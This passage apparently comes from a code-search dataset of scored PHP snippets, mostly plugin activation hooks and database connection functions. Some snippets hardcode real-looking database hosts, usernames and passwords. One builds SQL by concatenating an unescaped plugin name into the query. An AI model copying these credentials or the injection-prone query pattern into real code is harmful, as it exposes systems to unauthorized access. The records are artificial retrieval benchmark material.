$this->getServer()->getPluginManager()->registerEvents($this, $this);\n $this->getLogger()->info(Color::GREEN.\"JUZEXMOD Plugin is ON\");\n }", "title": "" }, { "docid": "869e3ff5fbf1078eef706b0cf0e9c3fe", "score": "0.6576351", "text": "abstract function activate();", "title": "" }, { "docid": "64cb03d2a0863bdbf2b3606b6412ac8b", "score": "0.656381", "text": "public function after_plugins_loaded() {\n\t}", "title": "" }, { "docid": "188f387f5878a45239bbb847fba6b56e", "score": "0.6546586", "text": "public function activate() {\n Debug::Log(DEBUG::INFO,\"MqttCogs plugin activated\");\t\t\n\t\t\n\t\tif (! wp_next_scheduled ( 'mqtt_cogs_watchdog' )) {\n\t\t\twp_schedule_event(time(), '1min', 'mqtt_cogs_watchdog');\n\t }\n\n\t if (! wp_next_scheduled ( 'mqtt_cogs_prune' )) {\n\t\t\twp_schedule_event(time(), 'daily', 'mqtt_cogs_prune');\n\t }\n\n }", "title": "" }, { "docid": "31f205a0c06e3bc66753f61125935955", "score": "0.6543853", "text": "function activatePrizedAiMobilePaymentsPlugin()\n{\n Activate::activate();\n}", "title": "" }, { "docid": "1de6f091c54be2586ad7653faa360ddb", "score": "0.6540111", "text": "public static function onActivate()\n {\n self::addDatabaseStructure();\n self::addData();\n self::deleteRemovedPaymentMethods();\n self::regenerateViews();\n self::clearTmp();\n }", "title": "" }, { "docid": "b8b70d0f24ba52aabe897f281af9c951", "score": "0.65350944", "text": "public static function activate()\n\t\t{\n\t\t\t// Do nothing\n\t\t}", "title": "" }, { "docid": "c52b2ef6915438cf7f9d922714fd789d", "score": "0.6519461", "text": "public function activate()\n {\n $i18n = new CommonPlugin_I18N($this);\n $this->pageTitles = array(\n 'campaigns' => $i18n->get('Manage campaigns'),\n 'resend' => $i18n->get('Resend campaign'),\n );\n }", "title": "" }, { "docid": "b22c778a611edc3a6b25751babc6e113", "score": "0.6513357", "text": "function preloader_plugin_active() {\r\n\r\n\twp_register_script( 'plugin-script-active', plugins_url('main.js', __FILE__) );\r\n wp_enqueue_script( 'plugin-script-active' );\r\n\r\n}", "title": "" }, { "docid": "142f5030ef24a26619d5306dd013416a", "score": "0.64983195", "text": "function __construct() {\n add_action('activated_plugin', array($this, 'my_save_error'));\n //echo \"register_activation_hook S\";\n register_activation_hook(__FILE__, array($this, 'custom_table_example_install'));\n //echo \"register_activation_hook E\";\n register_activation_hook(__FILE__, array($this, 'custom_table_example_install_data'));\n\n //$this->custom_table_example_update_db_check();\n\n add_action('plugins_loaded', array($this, 'custom_table_example_update_db_check'));\n }", "title": "" }, { "docid": "82152f14912cc6741d21789ad6cb9ce2", "score": "0.6479972", "text": "function activate_plugin($name)\n {\n $plugins_dir = dirname(__FILE__).'/../plugins/';\n $plugin_dir = $plugins_dir.$name;\n if (file_exists($plugin_dir))\n {\n $plugin_yaml = get_plugin_yaml(\"$plugin_dir/$name.yaml\", false);\n # If no yaml, or yaml file but no description present, attempt to read an 'about.txt' file\n if ($plugin_yaml['desc']=='')\n {\n $about=$plugins_dir . $name.'/about.txt';\n if (file_exists($about)) {$plugin_yaml['desc']=substr(file_get_contents($about),0,95) . '...';}\n }\n # escape the plugin information\n $plugin_yaml_esc = array();\n foreach (array_keys($plugin_yaml) as $thekey)\n {\n $plugin_yaml_esc[$thekey] = escape_check($plugin_yaml[$thekey]);\n }\n\n\n # Add/Update plugin information.\n # Check if the plugin is already in the table.\n $c = sql_value(\"SELECT name as value FROM plugins WHERE name='$name'\",'');\n if ($c == '')\n {\n sql_query(\"INSERT INTO plugins(name) VALUE ('$name')\");\n }\n sql_query(\"UPDATE plugins SET config_url='{$plugin_yaml_esc['config_url']}', \" .\n \"descrip='{$plugin_yaml_esc['desc']}', author='{$plugin_yaml_esc['author']}', \" .\n \"inst_version='{$plugin_yaml_esc['version']}', \" .\n \"priority='{$plugin_yaml_esc['default_priority']}', \" .\n \"update_url='{$plugin_yaml_esc['update_url']}', info_url='{$plugin_yaml_esc['info_url']}' \" .\n \"WHERE name='{$plugin_yaml_esc['name']}'\");\n hook(\"after_activate_plugin\",\"\",array($name));\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "1b707b676cc21b273551ed99790feb8e", "score": "0.64772964", "text": "public function activate() {\n\t\t$is_activated = get_option( $this->get_prefix() . 'activated', false);\n\n\t\tif ( ! $is_activated ) {\n\t\t\tupdate_option( $this->get_prefix() . 'activated', time() );\n\t\t}\n\n\t\tupdate_option( self::get_instance()->get_prefix() . 'version', self::get_instance()->get_version() );\n\n\t}", "title": "" }, { "docid": "bd5eb5d7d8d37c35e99f6202b011df58", "score": "0.6475536", "text": "public static function activate()\n {\n return;\n }", "title": "" }, { "docid": "cc05d84c4107275b534d559995f6b85d", "score": "0.64690775", "text": "function activate_plugin_name() {\r\n\t//require_once plugin_dir_path( __FILE__ ) . 'includes/class-wp-resources-activator.php';\r\n//\tWP_Resources_Activator::activate();\r\n}", "title": "" }, { "docid": "a3a2458d77edf7275bd9894cd5350732", "score": "0.64618605", "text": "public function activate()\n {\n\n $sql = '\n CREATE TABLE IF NOT EXISTS\n ' . ipTable('rsmapplugin') . '\n (\n `id` int(11) NOT NULL AUTO_INCREMENT,\n `lang` varchar(255) ,\n `long` varchar(255) ,\n PRIMARY KEY (`id`)\n )';\n ipDb()->execute($sql);\n\n }", "title": "" }, { "docid": "d159b2a105edcccacb7b7ed098283b94", "score": "0.6456943", "text": "private function __construct() \n\t{\n\t\t$this->av_privcy_addon = null;\n\t\t\n\t\tif( $this->can_use_plugin() != 'yes' )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tadd_action( 'plugins_loaded', array( $this, 'handler_wp_plugins_loaded') );\n\t}", "title": "" }, { "docid": "4360a0fa91e15cb377b6f3bebc469f77", "score": "0.6451727", "text": "public function init()\n {\n parent::init();\n self::$plugin = $this;\n\n // registering the AssetBundle with propaganistas js file\n if( $this->settings->includeJS && !Craft::$app->getRequest()->isConsoleRequest) {\n $this->view->registerAssetBundle(CraftEmailobfuscatorAssets::class);\n }\n\n // registering propaganistas email obfuscator\n if (!Craft::$app->getRequest()->isConsoleRequest) {\n Craft::$app->view->registerTwigExtension(new twig\\ObfuscateExtension);\n\n // show success message with template tag information\n Event::on(\n Plugins::class,\n Plugins::EVENT_AFTER_INSTALL_PLUGIN,\n function (PluginEvent $event) {\n if ($event->plugin === $this) {\n Craft::$app->session->setNotice(Craft::t('craft-emailobfuscator','install-success'));\n }\n }\n );\n }\n\n\n\n // log installation\n Craft::info( Craft::t('craft-emailobfuscator', 'plugin-loaded'),__METHOD__ );\n }", "title": "" }, { "docid": "74c0c5d82b95673eed4c06474d43b0ca", "score": "0.6451506", "text": "function init_activation_hook() {\n\t\t\tif ( ! is_network_admin() ) {\n\t\t\t\tset_transient( '_bridge_qode_welcome_page_redirect', 1, 30 );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7807c4a55a263aaf1e72290a692ca529", "score": "0.6438534", "text": "public static function activate() {\n\t\t\t// Do nothing\n\t\t}", "title": "" }, { "docid": "119753052b501cb4347e872261511019", "score": "0.6437524", "text": "public function activate()\n {\n\n $installed = get_option('wprs-tsm_installed');\n\n if (!$installed) {\n update_option('wprs-tsm_installed', time());\n }\n\n update_option('wprs-tsm_version', WENPRISE_TRANSLATOR_MANAGER_VERSION);\n }", "title": "" }, { "docid": "e979eac8c4d45524d608ebe9e8c8122c", "score": "0.6423708", "text": "public function onLoad()\n {\n $this->getPluginHandler()->getPlugin('Command');\n\t\t$this->getPluginHandler()->getPlugin('Send');\n\t\t$this->getPluginHandler()->getPlugin('Permission');\n\t\t$this->getPluginHandler()->getPlugin('UserInfo');\n }", "title": "" }, { "docid": "293ab03f49a34d1c3ff3b09f9104c6fb", "score": "0.6419111", "text": "public function onPluginsInitialized()\n {\n if ($this->isAdmin()) {\n return;\n }\n\n $this->enable([\n 'onPagesInitialized' => ['onPagesInitialized', 0],\n 'onTwigSiteVariables' => ['onTwigSiteVariables', 0]\n ]);\n }", "title": "" }, { "docid": "86c706c3a56b0ba6b33de836090a1121", "score": "0.64160913", "text": "function active_plugin() {\n /* Insert tables to DB */\n global $wpdb;\n $sql = file_get_contents(ERP_PLUGIN_DIR . '/db/install.sql');\n // $wpdb->query($sql);\n\n /* Add all plugin capabilities to all roles */\n $capsRegister = new ERPCapabilityRegister();\n $capsRegister->register(erp_get_capabilities());\n}", "title": "" }, { "docid": "05c0137fdc46173855d51d7f0c0fa3f0", "score": "0.6414545", "text": "private function init_hooks(){\t\t \n\t\tregister_activation_hook(BT_CUSTOM_PLUGIN_PLUGIN_FILE, array($this, 'bt_custom_plugin_install'));\n\t\tadd_action('init', array($this, 'bt_init'), 0);\n\t\tadd_action('init', array($this, 'cw_post_type_news'), 0);\n\t}", "title": "" }, { "docid": "51d684bee0805f0f5712d3920a5feb28", "score": "0.6395693", "text": "public static function activate(){\n\t\t \t\n\t\t\t$engtme_metrics_db_version = '1.0';\n\t\t\t\n\t\t\t// create table to store metrics data\n\t\t\tcall_user_func(function(){\n \t\t\t\tglobal $wpdb;\n\n \t\t\t\t$table_name = $wpdb->prefix . 'engtme_metrics';\n\t\t\t\t\n\t\t\t\t$charset_collate = $wpdb->get_charset_collate();\n\t\t\t\t\n\t\t\t\t$sql = \"CREATE TABLE $table_name (\n\t\t\t\t id mediumint(9) NOT NULL AUTO_INCREMENT,\n\t\t\t\t ip INTEGER UNSIGNED NOT NULL,\n\t\t\t\t time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,\n\t\t\t\t ua varchar(200) NOT NULL DEFAULT '-',\n\t\t\t\t request varchar(200) NOT NULL DEFAULT '/',\n\t\t\t\t referrer varchar(200) NOT NULL DEFAULT '-',\n\t\t\t\t is_unique BOOLEAN NOT NULL DEFAULT TRUE,\n\t\t\t\t UNIQUE KEY id (id)\n\t\t\t\t) $charset_collate;\";\n\t\t\t\t\n\t\t\t\trequire_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\n\t\t\t\tdbDelta( $sql ); \n\t\t\t\t\n\t\t\t\tadd_option( 'engtme_metrics_db_version', $engtme_metrics_db_version );\n\t\t\t\t\n\t\t\t}) or die('Could not create table for plugin data');\n\t\t\t\n\t\t\t\n\t\t\t// install sample data\n\t\t\tcall_user_func(function(){\n\t\t\t\tglobal $wpdb;\n\t\t\t\t\t\t\t\t\n\t\t\t\t$table_name = $wpdb->prefix . 'engtme_metrics';\n\t\t\t\t\n\t\t\t\t$wpdb->insert( \n\t\t\t\t\t$table_name, \n\t\t\t\t\tarray( \n\t\t\t\t\t\t'time' => current_time( 'mysql' ),\n\t\t\t\t\t\t'ip' => $_SERVER['REMOTE_ADDR'],\n\t\t\t\t\t\t'ua' => $_SERVER['HTTP_USER_AGENT'],\n\t\t\t\t\t\t'referrer' => $_SERVER['HTTP_REFERER'],\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}) or die('Could not insert sample data into table');\n\n\t\t\t\n\t\t }", "title": "" } ]
353dafb457deacd2e084356dd035c416
$connStr = 'oci:host=sspc1;dbname=sspc1/XE'; $connStr = 'oci:host=sspc1;dbname=sspc1/XE:pooled;charset=UTF8'; $user = 'mercedes'; $pass = 'm1'; $connStr = 'sqlite:/www/hosts/localhost/pdo.db'; $connStr = 'pgsql:host=localhost dbname=cars'; render header on every page, including opening html tag, head section and the opening body tag. It should be called before any output of the page itself.
[ { "docid": "6a71983d167d64f2d96d7b1634286cb7", "score": "0.0", "text": "function showHeader($title) // , $nolink = 'books'\n{\n ?>\n <html>\n <head><title><?=htmlspecialchars($title)?></title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n </head>\n <body>\n <h2><?=htmlspecialchars($title)?></h2>\n <a href=\"index.php\">BOOKS (detail Block2) & Authors (master B1)</a>&nbsp;&nbsp;&nbsp;\n <a href=\"B1_tbl.php\">AUTHORS (suppliers, material documents)</a>&nbsp;&nbsp;&nbsp;\n <a href=\"lnktbl.php\">BORROWERS (buyers, links, veze)</a>\n &nbsp;&nbsp;&nbsp;\n <a href=\"exp_B2_xml.php\">EXPORT B2->XML</a>\n <hr>\n <?php\n}", "title": "" } ]
[ { "docid": "e88c3aca3662cede09540e05cf8128ad", "score": "0.61528575", "text": "function openConn(){\n\t\ttry{\n\t\t\t$connection = $this->vendor.\":host=\".$this->host.\";dbname=\".$this->dbname.\";charset=utf8\";\n\t\t\t$this->dbconn = new PDO($connection, $this->uname, $this->pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));\n\t\t}\n\t\tcatch (PDOException $e){\n\t\t\techo 'Connection Failed: '.$e->getMessage();\n\t\t\texit;\n\t\t}\n\t}", "title": "" }, { "docid": "8ec7ac33a3b3fb0c0e9a5e5ed139d5cf", "score": "0.60461295", "text": "function DBC($dbname) {\n\t$dbhost=\"192.168.0.2\";\n\t$dbuser= \"web\";\n\t$dbpass= \"digipoint\";\n\t$dbh = new PDO(\"pgsql:host=$dbhost;dbname=$dbname\", $dbuser, $dbpass);\n\t$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\treturn $dbh;\n}", "title": "" }, { "docid": "1defe6e746435152fd34d31b89eb64d0", "score": "0.60332507", "text": "function db_connect()\n{\n\n $PDO = new PDO('pgsql:host=' . DB_HOST . ';port=5432 ;dbname=' . DB_NAME .\n ';user=' . DB_USER .';password=' . DB_PASS );\n\n\n/* TESTE DE CONEXAO DIRETA\n $PDO = new PDO('pgsql:host=localhost;port=5432;dbname=postgres;user=postgres;password=P@ssw0rd');\n*/\n\n return $PDO;\n}", "title": "" }, { "docid": "5ebaae0a0e0f54634f3b24edd69e08d9", "score": "0.59691995", "text": "function adodb_demo() {\n global $mosecms;\n global $db;\n\n// Db Settings\n $server = $mosecms->config['dbhost'];\n $driver = $mosecms->config['dbtype'];\n $user = $mosecms->config['dblogin'];\n $password = $mosecms->config['dbpw'];\n $database = $mosecms->config['dbname'];\n\n $db = ADONewConnection($driver); # eg. 'mysql' or 'oci8' \n $db->debug = true;\n $db->Connect($server, $user, $password, $database);\n\n $rs = $db->Execute('show tables');\n if ($rs)\n rs2html($rs);\n}", "title": "" }, { "docid": "89ee9afdd25fa5780e4d3e746b713a05", "score": "0.5958363", "text": "public function open_db_connect(){\n try {\n $this->con = new PDO(dsn, user, pass, array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',));\n $this->con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n }\n \n catch(PDOException $e) {\n echo 'Failed To Connect' . $e->getMessage();\n } \n }", "title": "" }, { "docid": "08c19bb68c18c64537a3722a888fecc5", "score": "0.5926218", "text": "function showFooter() \n{\n global $conn;\n \n if($conn instanceof PDO) {\n $driverName = $conn->getAttribute(PDO::ATTR_DRIVER_NAME);\n echo \"<br/><br/>\";\n echo \"<small>Connecting using PDO syntax & $driverName driver</small>\";\n }\n ?>\n </body>\n </html>\n <?php\n}", "title": "" }, { "docid": "d0f701a2c7eb5950e53b68d831bd3c60", "score": "0.59222454", "text": "function dbConnect($type='sqlite',$dbName='database.sqlite',$dbUser='root',$dbPassword='root'){\n\n\n if($type == 'sqlite') {\n $conn = new PDO('sqlite:' . $dbName);\n return $conn;\n }elseif($type=='mysql'){\n $conn = new PDO(\"mysql:host=localhost;dbname=$dbName\",$dbUser,$dbPassword);\n return $conn;\n\n }\n\n}", "title": "" }, { "docid": "65e955c09073bf59ee3e5da16950fdd3", "score": "0.5837923", "text": "function __construct()\r\n {\r\n //This part checks if the connection was successful\r\n //Its commented out because it sends a header creating a problem\r\n //for sessions\r\n /*try{\r\n //Create a new PDO connection\r\n $this->_dbh = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD);\r\n echo \"Connected\";\r\n }catch (PDOException $e){\r\n echo $e->getMessage();\r\n }*/\r\n $this->_db = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD);\r\n }", "title": "" }, { "docid": "e54f8d318fa244775ea4ccfb2b39b123", "score": "0.5818205", "text": "public static function connect_pgsql_sec()\n\t{\n\t\t$DB_DRIVER = config_db_sec('pgsql', 'DB_DRIVER');\n\t\t$DB_HOST = config_db_sec('pgsql', 'DB_HOST');\n\t\t$DB_PORT = config_db_sec('pgsql', 'DB_PORT');\n\t\t$DB_NAME = config_db_sec('pgsql', 'DB_NAME');\n\t\t$DB_USER = config_db_sec('pgsql', 'DB_USER');\n\t\t$DB_PASS = config_db_sec('pgsql', 'DB_PASS');\n\t\t$DB_CHARSET = config_db_sec('pgsql', 'DB_CHARSET');\n\n\t\tstatic $db = null;\n\t\tif ($db === null) {\n\t\t\tif (is_filled($DB_PORT)) {\n\t\t\t\t$dsn = '' . $DB_DRIVER . ':host=' . $DB_HOST . ';port=' . $DB_PORT . ';dbname=' . $DB_NAME . ';';\n\t\t\t} else {\n\t\t\t\t$dsn = '' . $DB_DRIVER . ':host=' . $DB_HOST . ';dbname=' . $DB_NAME . ';';\n\t\t\t}\n\t\t\t$db = new \\PDO($dsn, $DB_USER, $DB_PASS);\n\n\t\t\t// Throw an Exception when an error occurs\n\t\t\t$db->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_WARNING);\n\t\t}\n\t\treturn $db;\n\t}", "title": "" }, { "docid": "4819b67e896ad79c9a84abcb152e9f5c", "score": "0.581765", "text": "function journalConnect(){\n $server = 'localhost';\n $dbname = 'journal';\n $username = 'iClient';\n $password = 'password';\n $dsn = \"mysql:host=$server;dbname=$dbname\";\n $options = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);\n\n try{\n $link = new PDO($dsn, $username, $password, $options);\n return $link;\n }catch (PDOException $e){\n header('Location: /Journal/view/500.php');\n\n }\n}", "title": "" }, { "docid": "58eb8c03c6e01cafb6130ac7290e9931", "score": "0.58036494", "text": "private function openDBConnection()\n {\n $options = array(PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ, PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING);\n // Generate DB connection\n $this->db = new PDO(DB_TYPE . ':host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=' . DB_CHARSET, DB_USER, DB_PASS, $options);\n }", "title": "" }, { "docid": "0919d61e09426b61c42f1308629c6568", "score": "0.5717484", "text": "public function __construct()\n {\n $host = DB[\"host\"];\n $port = DB[\"port\"];\n $databaseName = ltrim(DB[\"path\"], \"/\");\n $user = DB[\"user\"];\n $password = DB[\"pass\"];\n \n $dbConnection = \"pgsql:host={$host};port={$port};dbname={$databaseName};options='--client_encoding=UTF8'\";\n $this->db = new PDO($dbConnection, $user, $password);\n }", "title": "" }, { "docid": "3d17e7c218272f2817a49a476000af36", "score": "0.56897104", "text": "private function CreateConnection()\n {\n $this->conn = new PDO('sqlite:models/db/php3eindwerk.sqlite') or die(\"cannot open the database\");\n $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n }", "title": "" }, { "docid": "cc3f8f3aa57cede02382bb0f0aff094f", "score": "0.56740874", "text": "function dbConnect(){\n try {\n $url = getenv('DATABASE_URL');\n $opts = parse_url($url);\n $server = $opts[\"host\"];\n $database = ltrim($opts[\"path\"],'/');\n $user = $opts[\"user\"];\n $password = $opts[\"pass\"];\n $port = $opts[\"port\"];\n $dsn = \"pgsql:host=$server; port=$port;dbname=$database\";\n $options = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);\n $link = new PDO($dsn, $user, $password, $options);\n return $link;\n }\n catch (PDOException $ex) {\n echo $ex;\n exit;\n }\n }", "title": "" }, { "docid": "2141650d5436c05ec2230eeac50b42b0", "score": "0.5640272", "text": "private function connection () {\n $this->db = new PDO('mysql:host=localhost;dbname=charityPets;charset=utf8', 'hassan', 'sharigan60');\n $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $this->db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n }", "title": "" }, { "docid": "493dddec3f52273bc80be958fcde9a85", "score": "0.5627926", "text": "function pg_connection_string() {\r\n return \"dbname=dcm3jsrdb6tfv9 host=ec2-54-204-43-138.compute-1.amazonaws.com port=54\r\n32 user=usxfrhbbogxcra password=LdapB749U7QIfJkQgPW20CpvEh sslmode=require\";\r\n}", "title": "" }, { "docid": "06de4d97eac9c00065ea31e490434f8b", "score": "0.5612178", "text": "function openDBConn()\n{\n\trequire 'db_config.php';\n \t// Connect to the data base and select it.\n\t$db = new PDO(\"mysql:host=$server_name;dbname=$db_name;charset=utf8\", $db_user_name, $db_password);\n\t$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n\treturn $db;\n}", "title": "" }, { "docid": "b3d7a29b4b2a16a4f71fe5ec75bc76d8", "score": "0.5611671", "text": "function openDB()\n{\n try {\n //connect to database based on config.php parameters and create new PDO object\n $db = new\n PDO(\"mysql:dbname={$GLOBALS[\"database\"]};host={$GLOBALS[\"hostname\"]}\",\n $GLOBALS[\"username\"], $GLOBALS[\"password\"]);\n\n //allows PDO to throw exception and allow error reporting\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n return $db;\n\n }\n //server connection error exception handling\n catch (PDOException $ex) {\n print(\"Sorry, a database error occurred.\");\n print(\"(Error details: $ex->getMessage() \");\n }\n //return null if server is not found\n return null;\n\n}", "title": "" }, { "docid": "c2b0c2a58f07cc6f94aee2d83142a085", "score": "0.560801", "text": "protected function oci($null)\n\t{\n\t\ttry{\n\t\t\t$conn = new \\PDO(\"oci:dbname=\".\\config('tns'),\n\t\t\t\t\\config('db_user'), \\config('db_password'));\n\t\t\t$this->_pdo->exec(\"set names \" . 'utf8');\n\t\t\t$this->_pdo->setAttribute( \\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION );\n\t\t}catch(\\PDOException $e){\n\t\t\tdie ($e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "e196e0a3c2066d9b37fae6decfe95ac0", "score": "0.5604027", "text": "function pg_connection_string() {\n return \"dbname=dc9160dninujhs host=ec2-23-21-85-233.compute-1.amazonaws.com \n port=5432 user=todxuvhszxmpnh \n password=fKeepFUZjdUgrXhifoZsTDsyFG sslmode=require\";\n}", "title": "" }, { "docid": "a8733d32154794fa1aa2361453996546", "score": "0.5599216", "text": "function ierg4210_DB(){\r\n\t\t// connect to the database, change the following path if needed\r\n\t\t// Warning: NEVER put your db in a publicly accessible location\r\n\t\t$db = new PDO('sqlite:/var/www/cart.db');\r\n\r\n\t\t// enable foreign key support\r\n\t\t$db -> query('PRAGMA foreign_keys = ON;');\r\n\r\n\t\t// FETCH_ASSOC:\r\n\t\t// Specifies that the fetch method shall return each row as an\r\n\t\t// array indexed by column name as returned in the corresponding\r\n\t\t// result set. If the result set contains multiple columns with\r\n\t\t// the same name, PDO::FETCH_ASSOC returns only a single value\r\n\t\t// per column name.\r\n\t\t$db -> setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);\r\n\r\n\t\treturn $db;\r\n\t}", "title": "" }, { "docid": "cd8f0c0b7bbdce03b7d02a506932925a", "score": "0.5594414", "text": "function connect_db() {\n $sql_details = array(\n 'host' => 'bd.wips.com.pt',\n 'db' => 'quad_hcm',\n 'user' => 'quadhcm',\n 'pass' => 'manager1'\n );\n\n /* MY SQL - LOCAL\n $sql_details = array(\n 'host' => 'localhost',\n 'db' => 'quad_hcm',\n 'user' => 'quadhcm',\n 'pass' => 'manager1'\n );\n */\n\n\n /* ORACLE\n $sql_details = array(\n 'host' => '80.172.253.30',\n 'db' => 'demo',\n 'user' => 'quad',\n 'pass' => 'quad'\n );\n */\n try {\n //$lk = new PDO(\"mysql:host=wips.com.pt;dbname=portal_demo;charset=utf8mb4\", 'portaldemo', 'manager1');\n\n $lk = new PDO(\"mysql:host={$sql_details['host']};dbname={$sql_details['db']};charset=utf8mb4\", $sql_details['user'], $sql_details['pass'], array(\n PDO::MYSQL_ATTR_INIT_COMMAND => \"SET NAMES 'utf8mb4' COLLATE 'utf8mb4_unicode_ci'\"\n )\n );\n $lk->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $lk->setAttribute(PDO::ATTR_PERSISTENT, false);\n\n\n // PTE 2017.05.04: identificar o utilizador aplicacional para a base de dados\n# if (@$_SESSION['database'] == 'MYSQL') {\n $stmt = $lk->prepare(\"SET @UTILIZADOR='\" . @$_SESSION['utilizador'] . \"'\");\n# } else {\n# //ORACLE Database\n# $stmt = $lk->prepare(\n# \"BEGIN DBMS_SESSION.SET_IDENTIFIER('\" .\n# @$_SESSION['utilizador'] . \"') END;\"\n# );\n# }\n $stmt->execute();\n\n return $lk;\n } catch (PDOException $e) {\n // Proccess error\n echo 'Cannot connect to database: ' . $e->getMessage();\n }\n\n /* Database connection information */\n //$gaSql['user'] = \"DEMO\";\n //$gaSql['password'] = \"DEMO\";\n\n\n /* PRS\n $gaSql['user'] = \"cmip_demo\";\n $gaSql['password'] = \"cmip_demo\";\n $gaSql['sid'] = \"DEMO\";\n $gaSql['port'] = \"1521\";\n $gaSql['server'] = \"DSV.QUAD-SYSTEMS.COM\";\n $gaSql['charset'] = \"AL32UTF8\";\n */\n /* LEO\n $gaSql['user'] = \"teste\";\n $gaSql['password'] = \"teste\";\n $gaSql['sid'] = \"demo\";\n $gaSql['port'] = \"1521\";\n $gaSql['server'] = \"80.172.253.30\";\n $gaSql['charset'] = \"AL32UTF8\";\n */\n\n /* QUAD\n $gaSql['user'] = \"quad\";\n $gaSql['password'] = \"quad\";\n $gaSql['sid'] = \"demo\";\n $gaSql['port'] = \"1521\";\n $gaSql['server'] = \"80.172.253.30\";\n $gaSql['charset'] = \"AL32UTF8\";\n\n\n $connection_string = \"(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)\n (HOST = {$gaSql['server'] })(PORT = {$gaSql['port'] })))(CONNECT_DATA=(SID={$gaSql['sid']})))\";\n\n $conn = oci_connect($gaSql['user'], $gaSql['password'], $connection_string, $gaSql['charset']);\n if (!$conn) {\n $e = oci_error();\n trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);\n }\n //$stid = oci_parse($link, \"ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI'\");\n //oci_execute($stid);\n $ling = @$_SESSION['lang'];\n if ($ling == 'pt')\n $stid = oci_parse($conn, 'ALTER SESSION SET NLS_LANGUAGE = \"PORTUGUESE\"');\n else if ($ling == 'us')\n $stid = oci_parse($conn, 'ALTER SESSION SET NLS_LANGUAGE = \"AMERICAN\"');\n else if ($ling == 'de')\n $stid = oci_parse($conn, 'ALTER SESSION SET NLS_LANGUAGE = \"GERMAN\"');\n else if ($ling == 'es')\n $stid = oci_parse($conn, 'ALTER SESSION SET NLS_LANGUAGE = \"SPANISH\"');\n else\n $stid = oci_parse($conn, 'ALTER SESSION SET NLS_LANGUAGE = \"PORTUGUESE\"');\n\n oci_execute($stid);\n\n return $conn;\n */\n}", "title": "" }, { "docid": "6e4c88bb4aa7e2347934545f9aaf6c41", "score": "0.55934006", "text": "private function DBConnect(){\n\t\t$this->ConnectionHandler = new PDO(\"mysql:host=$this->DBHost;dbname=$this->DBDatabase\", $this->DBUser, $this->DBHPass);\n\t}", "title": "" }, { "docid": "107c2a1cc6ba54e490e884d080bba279", "score": "0.5587376", "text": "function conectar() {\n\t\t\n\t\tif ($this->dbh == null) {\n\t\t\n\t\t\t$params = \"host=\" . $this->dbHost . \" port= \".$this->dbPort.\" dbname=\" . $this->dbName . \" user=\" . $this->dbLogin . \" password=\" . $this->dbPassw;\n\t\t\t//echo $params.\"<br/>\";\n $this->dbh = pg_connect ( $params );\n\n\t\t\tif (! $this->dbh ) {\n\t\t\t\techo ' <script language=\"javascript\">alert(\"Disculpe sus datos no son correctos ingres\\u00e9los nuevamente.\");</script> ';\n\t\t\t\techo ' <meta http-equiv=\"refresh\" content=\"0; url=../index.php\"> ';\n\t\t\t\texit();\n\t\t\t}\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "67ed6cb663483aa21addcfeb8c81f9bb", "score": "0.55842084", "text": "public function connectDB(){\n //specify the information from the config file\n $dsn = \"mysql:host=$this->host;dbname=$this->dbname;charset=$this->charset\";\n\n $opt = [\n PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,\n PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,\n PDO::ATTR_EMULATE_PREPARES => false,\n ];\n\n /*\n set the link attribute to the database connection\n */\n $this->link = new PDO($dsn, $this->user, $this->pass, $opt); \n }", "title": "" }, { "docid": "446c7be35b463e149f6f6b31a36b221e", "score": "0.5582924", "text": "function connectDB(): object\n\t{\n\t\t$dbh = new PDO('pgsql:host=database;dbname=proto', 'proto', 'proto');\n\t\t$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING); //PHP warnings for SQL errors\n\t\treturn $dbh ;\n\t}", "title": "" }, { "docid": "54c86c0914d851ac8dc95f8a86475808", "score": "0.55656475", "text": "function postgres_conexion($hostID,$portID,$usuarioID,$passwdID,$dbnameID)\n\t{\n\t\t//String de conexion.\n\t\t$cnxString = \"host=$hostID port=$portID dbname=$dbnameID user=$usuarioID password=$passwdID\";\n\t\t\n\t\t//Realizo la conexion.\n\t\t$conexion = pg_connect($cnxString);\n\t\t\n\t\t//Si se pudo realizar la conexion.\n\t\tif (!$conexion)\n\t\t{ \n\t\t\tprint \"Error de conexion a la 